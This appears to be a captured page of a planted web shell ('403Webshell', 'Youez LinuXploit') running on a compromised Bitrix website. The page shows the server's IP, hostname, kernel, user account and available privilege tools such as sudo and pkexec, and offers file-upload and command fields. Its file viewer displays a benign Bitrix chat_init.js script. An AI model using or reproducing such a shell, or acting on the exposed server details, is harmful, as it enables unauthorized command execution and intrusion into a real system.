403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/templates/landing24/assets/js/helpers/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/templates/landing24/assets/js/helpers/chat_init.js
;(function ()
{
	'use strict';

	BX.ready(function() {
		if (!top.BXIM)
		{
			return;
		}

		var clickedChat = null;
		var selectors = [].slice.call(document.querySelectorAll('a.landing-chat-message'));

		if (selectors.length)
		{
			for (var i = 0, c = selectors.length; i < c; i++)
			{
				var link = selectors[i];
				var href = link.getAttribute('href');
				if (href)
				{
					link.addEventListener(
						'click',
						function()
						{
							var chatType = this.substr(0, 5);
							var chatId = this.substr(5);
							if (chatType === '#chat')
							{
								top.BXIM.openMessenger(chatId);
							}
							else if (chatType === '#join')
							{
								clickedChat = chatId;
								BX.ajax({
									url: '/bitrix/tools/landing/ajax.php',
									method: 'POST',
									data: {
										action: 'Chat::joinChat',
										data: {
											internalId: chatId
										},
										sessid: BX.message('bitrix_sessid')
									},
									dataType: 'json',
									onsuccess: function(data)
									{
										if (data.result)
										{
											top.BXIM.openMessenger('chat' + data.result);
										}
									}
								});
							}
							BX.PreventDefault();
						}.bind(href)
					);
				}
			}
		}

		BX.addCustomEvent(
			'onPullEvent-im',
			function(command, params)
			{
				if (command === 'chatUserAdd')
				{
					if (clickedChat)
					{
						// you should find data-chatid="<clickedChat>"
						console.log(params.users);
					}
				}
			}
		);
	});

})();

Youez - 2016 - github.com/yon3zu
LinuXploit